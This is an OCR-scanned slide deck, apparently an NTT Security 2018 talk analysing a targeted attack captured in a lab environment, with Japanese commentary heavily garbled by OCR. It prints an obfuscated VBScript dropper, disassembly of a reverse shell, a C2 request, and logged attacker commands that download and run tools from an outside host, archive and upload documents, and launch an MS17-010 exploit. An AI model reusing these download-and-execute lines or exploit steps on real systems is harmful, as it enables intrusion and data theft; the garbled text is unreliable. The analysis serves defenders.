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* HP ProLiant DL380p Gen8 (CPU:16 Core Memory:40GB HDD:7TB(RAID5) NIC:8P)
* Hypervisor: VMware ESXi 5.5.0

Switch
e Cisco Catalyst 3750

Capture-VM
* CPU:4 Core Memory:4GB HDD:1TB
e OS: Lubuntu 16.04 LTS (x64)

* Capture Software: Wireshark
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Intel NUCS U — X %&i&iR HHD/ssD & —1#

(% A5 KURO-DAICHI/CLONE/U3)

¢ CPU: Intel Core-i73>J—X
« SSD: 100GBLA_LE (SATA#ESH:E) 0 el
« 0S: Windows 7 SP1 (32bit)

5|A: Intel NUC Product Brief 51F: Ek%ﬁWebﬁ4 ~

(https://www.intel.co.jp/content/www/jp/ja/products/boards-kits/nuc.html) (http://www.kuroutoshikou.com/product/case/original/kuro-dachi_clone_u3/)
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Furction aaa (ijjenfewd)

Dim uf zbavhy
Dim rzhhz
Dim d?wiase
Dim wfwdfe

End

Set dm = Mew Dumms
ufgbevhy = kdfwkff3alijjenfenh, dm)
vivdfe = rfdxceff(ijjenfewd, ufebevby + 8)
rehhe = striolnt (Mid(vfvdfe, 3,
vivdfe = rfdxceff(iiignfewd, rzhhg + 4)
d?wldasg = striolnt(Mid(vfwdfe, 1, 2J)

+

MEsS M E(IC LD T
O—AI LETO—RET
BB/ God ModelC 81T

az-Untscapel, Nsc
cx=UnEscape(“ript .57)
s==Unescape("hel ")

Set of = Createlbject (az+cxtss)

sdfas = "giB3zibdziBde]2ezibbej 782iBhei202i2 T12i202i212]B32i202iB3gi64z]
ejfeibdegi?0gj222i20h2)742)0dei gi 2hei222i202] 262 26 202 6h] 63

i 722 142i202) 7727321632 72¢] 69217021 /42i20gi2taitaidiei202i61:]
13gjb8zjbdzibag] e (62ib22] T3

fegreg = Replace(sdfas, "gj”, %"

et = UmE?caBe(fgrg)

WScript.ShelllC &K D VBScript 1— RDRT

10N
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—4& — (LXIRIK)

URLZ LU — & User-Agent(CMD5
I\ 2 fEMERENTND

GET

/a7db98c120710f08ea5604f2bf622ac9.phplHTTP/1.1

Accept: *x/%

Accept-Lang C =
User—Agent:!72b7579fe4095435679933ca351822a8
Accept-Encoding: gzip, detlate

Host: 52.78.95.103
Connection: Keep-Alive

2RIEARAS D> O— RGO I T X MBS
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H&eE
- BEATUHE
- URIRR & (Z(EEER
- Kb (H—EXDEK)
- JavaD 77V IF5— MR —2v — &> TER
- 3093 (C1EIDSEE Tt —/\— L&k
- O RS
- AR Tcl: E2a-)L GRIER) OFD>0O0— REET
- OX>R sl . ccH—)\—ADIRT N\ 1 )LDILE)
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00406482 mov
D0406488 mow
00406480 mow
00406497 movzx
004064598 push
00406499 cal |
0040649F mow
0406443 lea
D0406486 cal |

[ebp+s], eax
?ax, Z ]
ebptrame. sa_familv], ax

ecx, word ptr [ebptvar 20C] ;
ecx i hostshort

ds:htons

word ptr [ebptname. sa_datal, ax

ecx, Lebptvar_B0]

sub 400200

D040644B push eax :|54.238.188.?3|
00406440 51 | A= et addre

D04064B2 mow dword ptr Lebptname. sa_data+? ], eax
D04064B5 push 0 1 pGE0S
D04064E7 push 0 D pS00s
D04064B9 push 0 i IpCal leeData
O04064BB push 0 i IpCallerData
00406460 push 10k ; namelen
004064EF lea ack, [ebp+name]

004064C2 push e T oname

00406403 mov eax, [ebp+s]

004084C3 push
004084C4 call

==

5 ¥ = +
ds: WSAConnect c&cH—)\—(CiEx

© 2018 NTT Security

SEDIRT N\ 3 1 )UIGEZEE
BERNBOEREES.

EIRBDTZE.

P

RO NI\ O 1T )LOEEE)

T0040B4E3 mow

O04064ED mony
O04064F7 mony
004064FD meny
00406503 mony
00406003 meny
O040650F mony
00406515 mony
00406518 lea
004065271 push
00406022 |ea
00406528 push
00406529 push
00406028 push
00406520 push
0040652F push
00406037 push
00406533 push
00406535 mony
00406538 push
00406530 push
0040653E cal |

Lebp+Startuplnfo. cb], 44h
[ebp+Startuplnfo. dwFlag=], 100k
ed, [ebp+s]
[ebptStartuplnfo.hStdError], edx
eax, Lebp+Startuplnfo.hStdErrar]
[ebp+Startuplnfo. hStd0utput ], eax
ecx, LebptStartuplnfo.hStdlutput ]
[ebpt+Startuplnfo. hStdlneut ], ecx
edx, [ebp+Processinformat ion]

edx i IpProcessInformat ion
eax, Lebp+Startuplnfol

eax i lpStartuplnfo

0 i IpCurrertDirectaory

0 i IeEnwi ronment

0 i dwCreat ionFlags

1 i blrheritHandles

0 ; |DThreadﬁttr|butes

0

i IpProcegad qs
ecx, [ebpt] pCommandL ine]
ecx i IeCommartTre

0 i Ipbpplicat ionbame
dz:Createl rocesst,

T S—, IZEAHDZEERYITY M
IBTE UIIRREET emd.exeZiicE)
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2017/05/%H

12:00

20:45

20:48
21:15

21:18
22:24

32H 00:36
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S=RDIRDZEV CRIERAE)

HRADVUR NDHE

C:¥Windows¥system32>tasklist
Image Name

System Idle Process
System
smss.exe
csrss.exe
wininit.exe
csrss.exe
services.exe
lsass.exe
lsm.exe
svchost.exe
winlogon.exe
svchost.exe
svchost.exe
svchost.exe

svchost.exe

Session Name

Services
Services
Services
Services
Services
Console

Services
Services
Services
Services
Console

Services
Services
Services
Services

Session#

OCO0OOOFRROOOOHROOOOO

Mem Usage

AARAARARARARARARARARARARARARARRA
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axiE J 7 1 VDT o
C:¥>dir /ah WEENHERUICT A LS DH

; p
C:¥>cd $Recycle.Bin IANY 2l
C:¥$Recycle.Bin>dir %USERPROFILE%¥Desktop FROMvT
C:¥$Recycle.Bin>dir /ah %USERPROFILE%¥Documents NARFIA S

%USERPROFILE%¥AppData¥Local¥Temp —F D 7 1 )LODIREF
C:¥ProgramData¥Microsoft¥win| %USERPROFILE%¥AppData¥Roaming¥  &IIfERALIZT 7

dows¥3tar‘t Menu¥Programs¥Sta| Microsoft¥WindowsY¥Recent ILDO—EZREF
rtup>dir
C:¥SRecycle.Bin HIBRS — 5 DIREF
%PROGRAMDATA%¥Microsoft¥Window EEIRFICEEERITY
s¥Start Menu¥Programs¥Startup 37003 A

20 © 2018 NTT Security ® NTTSecurity
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EfE* v 7 F v —0OHE - X5

C:¥Users¥yzw¥AppData¥Local¥Temp>echo dim http_obj:dim stream_obj:set http_obj =
CreateObject("MSXML2.ServerXMLHTTP.6.0"):set stream_obj = CreateObject("ADODB.St
ream"):set shell obj = CreateObject("WScript.Shell™):URL "http://52.78.95[.]10
3/98e0f9b8979¢cd21347468a29e6386¢ca7/capture.exe" : FILENAME "cap.exe":http_obj.op
en "GET", URL, False:http obj.send:stream obj.type = 1l:stream_obj.open:stream_ob
j.write http obj.responseBody:stream obj.savetofile FILENAME, 2 > zxcas.vbs && s

tart cscript /b zxcas.vbs BEF v JF v —DEEE 7Y FO—

C:¥Users¥yzw¥AppData¥Local¥Temp>dir REATSY -l 00— K.
I
C:¥Users¥yzw¥AppData¥Local¥Temp>del zxcas.vbs WEEE. ROUTRI7AILEX
oY D>O—-RI7A)LICHUT,
C:¥Users¥yzw¥AppData¥Local¥Temp>dir FIEREEROEITRRDHIBRZ =ML T
(V=
C:¥Users¥yzw¥AppData¥Local¥Temp>cap.exe 1 DI DEE(CFIEZEDIINS A
BLROTZIT7AIVEHIBRL, &F
C:¥Users¥yzw¥AppData¥Local¥Temp>del cap.exe ] DIRIZH U TWLWBIERFHIMEIR 1=,
CDL DRI SERIDREITAT
HBEUCRZITENS.

21 © 2018 NTT Security @ NTTSecurity
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BEF VI F v —OHUS - EXEOD

C:¥Users¥yzw¥AppData¥Local¥Temp>echo dim http_obj:dim stream_obj:set http_obj =
CreateObject("MSXML2.ServerXMLHTTP.6.0"):set stream obj = CreateObject("ADODB.St
ream"):set shell obj = CreateObject("WScript.Shell"):URL = "http://52.78.95[.]10
3/98e01f9b8979cd21347468a29e6386ca7/RawCap.exe"” :FILENAME = "cap.exe":http _obj.ope
n "GET", URL, False:http obj.send:stream obj.type = 1l:stream_obj.open:stream_obj
.write http_obj.responseBody:stream_obj.savetofile FILENAME, 2 > zxcas.vbs && st

art cscript /b zxcas.vbs NICE &HE U CBENEZEET 3
: V—)L&zS o> 0O0—-R,
C:¥Users¥yzw¥AppData¥Local¥Temp>cap.exe -s 10 © app.log BISN TS —MF4E,

Unhandled Exception: System.Net.Sockets.SocketException: The requested address i
s not valid in its context

at System.Net.Sockets.Socket.DoBind(EndPoint endPointSnapshot, SocketAddress
socketAddress)

at System.Net.Sockets.Socket.Bind(EndPoint localEP)

at ...ctor(IPAddress ., Int32 .)

at ...(IPAddress ., String ., Boolean ., Int32 ., Int32 .)

at ...(String[] .)

22 © 2018 NTT Security @ NTTSecurity
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S=RDIRDZEV CRIERAE)

BEF VT Fr—OHRE - REQ

OPTIONS:
-f
-C <count>
-S <sec>

INTERFACES:
9. IP

C:¥Users¥yzw¥AppData¥Local¥Temp>ipconfig
C:¥Users¥yzw¥AppData¥Local¥Temp>dir
C:¥Users¥yzw¥AppData¥Local¥Temp>cap.exe -h S, o~ A salE
NETRESEC RawCap version ©.1.5.0 NVTATZ 32 =SR
http://www.netresec.com

Usage: RawCap.exe [OPTIONS] <interface nr> <target pcap file>

Flush data to file after each packet (no buffer)
Stop sniffing after receiving <count> packets
Stop sniffing after <sec> seconds

169.254.51.142

© 2018 NTT Security

@ NTTSecurity
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S=RORDFEV (RIZHAE)

BIEF T F—DHIE - EEOG

File

Packets
Packets
Packets
Packets
Packets
Packets
Packets
Packets
Packets
Packets

Packets
Packets
Packets

RPRPOONOTUVTA_WO

C:¥Users¥yzw¥AppData¥Local¥Temp>cap.exe -s 60 1 app.log
Sniffing IP :

192.168.10.2

: app.log
BIEF v T F v —DEUSHI.
(%]
1

: 34
: 35
: 36
C:¥Users¥yzw¥AppData¥Local¥Temp>del cap.exe

© 2018 NTT Security
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WBEF VI Fr—OHUS - EE@

C:¥Users¥yzw¥AppData¥Local¥Temp>echo dim http_obj:dim stream_obj:set http_obj =

CreateObject("MSXML2.ServerXMLHTTP.6.0"):set stream_obj = CreateObject("ADODB.St
ream"):set shell obj = CreateObject("WScript.Shell"):URL = "http://52.78.95[.]10
3/98e019b8979cd21347468a29e6386ca7/uploader.exe" :FILENAME = "cap.exe":http obj.o
pen "GET", URL, False:http obj.send:stream obj.type = 1l:stream_obj.open:stream_o
bj.write http obj.responseBody:stream obj.savetofile FILENAME, 2 > zxcas.vbs &&

start cscript /b zxcas.vbs

C:¥UsersYyzw¥AppData¥Local¥Temp>dir ZyIJO-4—=55>0-R,
C:¥Users¥yzw¥AppData¥Local¥Temp>del zxcas.vbs
C:¥Users¥yzw¥AppData¥Local¥Temp>dir
C:¥YUsers¥yzw¥AppData¥Local¥Temp>cap.exe app.log BSUEBEFv IFv—&

cacH—/\—(c7vIO— R,
C:¥Users¥yzw¥AppData¥Local¥Temp>del app.log

25 © 2018 NTT Security @ NTTSecurity
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27 AID7IEHREEEED

C:¥Users¥yzw¥Documents>echo dim http_obj:dim stream_obj:set http_obj = CreateObj
ect("MSXML2.ServerXMLHTTP.6.0") :set stream_obj = CreateObject("ADODB.Stream"):se
t shell obj = CreateObject("WScript.Shell"):URL = "http://52.78.95[.]103/98e0f9b
8979cd21347468a29e6386ca7/7z.exe" :FILENAME = "7z.exe":http _obj.open "GET", URL,

False:http obj.send:stream obj.type = 1l:stream_obj.open:stream obj.write http_ob

j.responseBody:stream_obj.savetofile FILENAME, 2 > zxcas.vbs && start cscript /b
zxcas.vbs

C:¥Users¥yzw¥Documents>dir 72DIEHE - FRERY —)L %=
y g'j\/lj— Ho
C:¥Users¥yzw¥Documents>del zxcas.vbs

C:¥Users¥yzw¥Documents>echo dim http obj:dim stream _obj:set http obj = CreateObj
ect("MSXML2.ServerXMLHTTP.6.0"):set stream_obj = CreateObject("ADODB.Stream"):se
t shell obj = CreateObject("WScript.Shell"):URL = "http://52.78.95[.]103/98e0f9b
8979cd21347468a29e6386ca7/7z.d11" :FILENAME = "7z.dl1":http obj.open "GET", URL,

False:http_obj.send:stream_obj.type = 1l:stream_obj.open:stream_obj.write http_ob

j.responseBody:stream_obj.savetofile FILENAME, 2 > zxcas.vbs && start cscript /b
zxcas.vbs

26 © 2018 NTT Security @ NTTSecurity
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27 AID7IEREEEED

C:¥Users¥yzw¥Documents>echo dim http_obj:dim stream_obj:set http_obj = CreateObj
ect("MSXML2.ServerXMLHTTP.6.0") :set stream_obj = CreateObject("ADODB.Stream"):se
t shell obj = CreateObject("WScript.Shell"):URL = "http://52.78.95[.]103/98e0f9b
8979cd21347468a29e6386ca7/uploader.exe" :FILENAME = "a.exe":http_obj.open "GET",

URL, False:http obj.send:stream obj.type = l:stream_obj.open:stream_obj.write ht

tp_obj.responseBody:stream obj.savetofile FILENAME, 2 > zxcas.vbs && start cscri
pt /b zxcas.vbs

C:¥Users¥yzw¥Documents>dir 7yJO-4—=45o>0- R,

C:¥Users¥yzw¥Documents>del zxcas.vbs

27 © 2018 NTT Security @ NTTSecurity
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27 A ID7IEHEEEEEC

C:¥Users¥yzw¥Documents>7z.exe a yzw.7z -mhe -t7z -p *.docx-

7-Zip [32] 16.04 : Copyright (c) 1999-2016 Igor Pavlov : 2016-10-04

Open archive: yzw.7z

Enter password (will not be echoed):1qaz@wsx3edc

Path = yzw.7z

Type 7z

Physical Size = 6008
Headers Size = 200
Method = LZMA2:12k 7zAES
Solid = -

Blocks =1

28 © 2018 NTT Security @ NTTSecurity
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27 AID7IEHEEEEED

C:¥Users¥yzw¥Documents>a.exe yzw.7z

72EHED 7 ()L C&RCH—)(—(C
C:¥Users¥yzw¥Documents>del a.exe 7w O— R,

C:¥Users¥yzw¥Documents>del yzw.7z
C:¥Users¥yzw¥Documents>del 7z.exe
C:¥Users¥yzw¥Documents>del 7z.dll

C:¥Users¥yzw¥Documents>dir

29 © 2018 NTT Security ® NTTSecurity
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F 7 XA HEIRRR FDRE

C:¥Users¥yzw¥AppData¥Local¥Temp>ipconfig
C:¥Users¥yzw¥AppData¥Local¥Temp>ping 192.168.10.3 -n 3

Pinging 192.168.10.3 with 32 bytes of data:

Reply from 192.168.10.3: bytes=32 time=1ms TTL=128
Reply from 192.168.10.3: bytes=32 time<lms TTL=128
Reply from 192.168.10.3: bytes=32 time<lms TTL=128

Ping statistics for 192.168.10.3:

Packets: Sent = 3, Received = 3, Lost = @ (0% loss),
Approximate round trip times in milli-seconds:

Minimum = @ms, Maximum = 1lms, Average = Oms

C:¥Users¥yzw¥AppData¥Local¥Temp>ping 192.168.10.4 -n 3

Pinging 192.168.10.4 with 32 bytes of data:
Reply from 192.168.10.2: Destination host unreachable.

WEENT Dtz XlHE
IRIRA MeFER,

© 2018 NTT Security
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sviBiESSTEY —ILZERAUERARITO
C:¥Users¥yzw¥AppData¥Local¥Temp>mkdir red

C:¥Users¥yzw¥AppData¥Local¥Temp>cd red

C:¥Users¥yzw¥AppData¥Local¥Temp¥red>echo dim http _obj:dim stream _obj:set http_ob
j = CreateObject("MSXML2.ServerXMLHTTP.6.0"):set stream obj = CreateObject("ADOD
B.Stream"):set shell obj = CreateObject("WScript.Shell"):URL = "http://52.78.95]
. ]103/98e019b8979cd21347468a29e6386ca7/dist.7z" :FILENAME = "dist.7z":http_obj.op
en "GET", URL, False:http obj.send:stream obj.type = 1l:stream obj.open:stream ob
j.write http obj.responseBody:stream obj.savetofile FILENAME, 2 > zxcas.vbs && s
tart cscript /b zxcas.vbs

C:¥Users¥yzw¥AppData¥Local¥Temp¥red>dir

C:¥YUsers¥yzw¥AppData¥Local¥Temp¥red>del zxcas.vbs YOI O- REMR,

C:¥Users¥yzw¥AppData¥Local¥Temp¥red>..¥7z.exe e dist.7z

31 © 2018 NTT Security @ NTTSecurity
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sSMBAESS Y —ILZEA UIZRAGITO

C:¥Users¥yzw¥AppData¥Local¥Temp¥red>red.exe 192.168.10.3 52.78.95.103 443
[*] MS17-010 Exploit - SMBv1l SrvOs2FeaToNt OOB

File "poc.py", line 85, in <module>
File "poc.py", line 71, in main

mote host

socket.error: [Errno 10054] An existing connection was forcibly closed by the re

[*] Exploit running.. Please wait FREEDORENS. W—ILIE. SMBDMESSH
[*] Thanks NSA! MS17-010ZHIFA L CTH—45Y MR MSOORD
[*] Creditz: @EquationGroup @ShadowBrokers @prol BI\WOS T/l =S I DED CThD LHIA,

[*] KPN Red team: <juan.sacco@kpn.com> PRI (CfER LR,
C:¥Users¥yzw¥AppData¥Local¥Temp¥red>red.exe 192.168.10.3 52.78.95.103 1337

[*] MS17-810 Exploit - SMBvl SrvOs2FeaToNt OOB

[*] Exploit running.. Please wait

Traceback (most Pecent call last):
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SERFDOBET

MBY> RRVORX

cmd.exe

capture.exe

RawCap.exe

W—)L

uploader.exe

7z.exe/7z.dll

dist.7z (red.exe)
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= A5 /DR ES

RS\BVLERAIDSBESNEZ LENR—RI(C, BiREZ XDREFEOBEBEREICHED.

BBDHRR MERABEX>smvBAESSEY —ILDER
- fRfEEERUIERY MO — D& EE

- RAq>a> rO—-5—. T70IIY—=)\— JOFY—/)\—D&E

- HEBAERERECTE RAABRUT I hfEsk (BI: OT 1 >4 [TA123456] )
- KFFEDSMBRESSHZEED/I\—=3 > DoszEfER  (fBl: Windows Server 2012 R2 377w T — MR L)
iE J 7 1 IDRE
* My Documentst¥2J 77 )L T —/)\—(CERIET DEN T 7 1)L ZILTFE

BEDY—TY BRI DI, hTTUBICTAIITIZRAETETDIENST— (B 847, FME4. HFTRRE)

o FRATELRINRENDON D T 7 1) LIEn AR (5 730N
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R —)(— Rt — )\ —
l ———————————————————————————————— -—
1 | | 1
] i i -~ Proxy-VM i
: | | |
i Capture-VM 1 ' FS-VM : Internet
] ] ENTFAILDIFE | I
| |
| IPS-VM1 1 {[_bcvm |
|
1 | | " |
I ~ 14 Linux-VM I WAN-LAN
i IP>-YM2 IoXw % | (Router) : Router
1 =
i ! l?/ - : ! PPPOEFSIERE C
i 14 Win7SP1-VM I 20-)VLrz
| [PS-VIVIx i i i | ZEEIE
L----I ----------- ' YiE PR Sp_
#3157 — 4 G2y I BN D 71 )LDHLFE
DHE R RE T 7 A VDI
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- SEBEIERPIRERMERRRREZR(CHATESIMS AT LAZS > TIVISEN THEE.

« JLIAWBIEY 1 MK BKRAEBRBZE(CERASNEIYIINDI I 7 2B AT LATRESEE
EZB. REEDVRBAL. RIGEHE - RIHEHEN - BIWEK (517)Z RhtE.

- BRIERLEDI7AINE7yvIO—RUTWECENS, BRIIFERGEREBONSH, 5
BSNTWEI 7 IWDEFLDIRL . EDXSRIFEHRZAFUIZD D IZhMIAA,

- REHINBEEFERETAZREL. EORBARHERINTLRWN., BERIEELD
W CTHEBRRIBEICEET S (KD, REBOBRGHN TREDRMRETRZH AT
BEICIRXD C LT EN D,

SEDEXSIC, SOTIWRBESRATATEREENRELTINE UL,
O UIHAZ#HEITS LT, REEDITHRA(CIE DIRHZHS IS EHEIEETY .
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